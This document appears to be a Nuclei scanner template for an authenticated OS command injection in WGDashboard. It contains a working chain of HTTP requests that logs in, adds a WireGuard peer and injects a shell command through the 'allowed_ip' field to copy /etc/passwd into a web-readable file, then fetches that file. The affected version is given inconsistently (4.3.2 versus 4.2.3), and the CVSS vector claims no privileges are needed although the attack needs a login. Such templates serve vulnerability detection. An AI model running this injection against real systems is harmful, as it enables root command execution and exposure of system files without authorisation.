WGDashboard <= 4.3.2 - Authenticated OS Command Injection /etc/passwd Read

id: CVE-2026-15733

info:
  name: WGDashboard <= 4.3.2 - Authenticated OS Command Injection /etc/passwd Read
  author: str4k3r,0x_Akoko
  severity: critical
  description: |
    WGDashboard <= 4.2.3 contains a command injection caused by multiple OS command injection points, letting authenticated attackers execute arbitrary commands as root.
  impact: |
    Authenticated attackers can execute arbitrary commands as root, leading to full system compromise.
  remediation: |
    Update to the latest version beyond 4.2.3.
  reference:
    - https://github.com/Stuub/WGDashboard-v4.3.2-OS-Command-Injection-to-Root-RCE-PoC
    - https://github.com/WGDashboard/WGDashboard
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15733
  classification:
    cve-id: CVE-2026-15733
    epss-score: 0.13545
    epss-percentile: 0.96128
    cwe-id: CWE-78
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    verified: true
    max-request: 5
    product: wgdashboard
    vendor: wgdashboard
  tags: cve,cve2026,wgdashboard,rce,cmdi,authenticated,intrusive

variables:
  username: ""
  password: ""
  probe: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        POST /api/authenticate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"status\":true")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/getWireguardConfigurations HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(config_name) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: config_name
        part: body
        group: 1
        internal: true
        regex:
          - '"Name":"([^"]+)"'

  - raw:
      - |
        POST /api/addPeers/{{config_name}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"probe-{{probe}}","allowed_ips":[],"preshared_key_bulkAdd":false}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(peer_id) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: peer_id
        part: body
        group: 1
        internal: true
        regex:
          - '"id":"([^"]+)"'

  - raw:
      - |
        POST /api/updatePeerSettings/{{config_name}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id":"{{peer_id}}","name":"probe-{{probe}}","private_key":"","DNS":"1.1.1.1","allowed_ip":"10.253.253.253/32;cp${IFS}/etc/passwd${IFS}static/app/dist/{{probe}}.txt;","endpoint_allowed_ip":"0.0.0.0/0","preshared_key":"","mtu":1420,"keepalive":21,"notes":""}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /static/app/dist/{{probe}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "root:") && contains(body, ":/bin/")'
        condition: and
# digest: 490a0046304402207ab993288083b0b94b68180012b5c2d505bacc82b614d4a1474e674146a71dbe02202db7b9a93c3dead14c17ebac9f384985a4948c50001a60f5f5ecf10e658aafc1:922c64590222798bb761d5b6d8e72950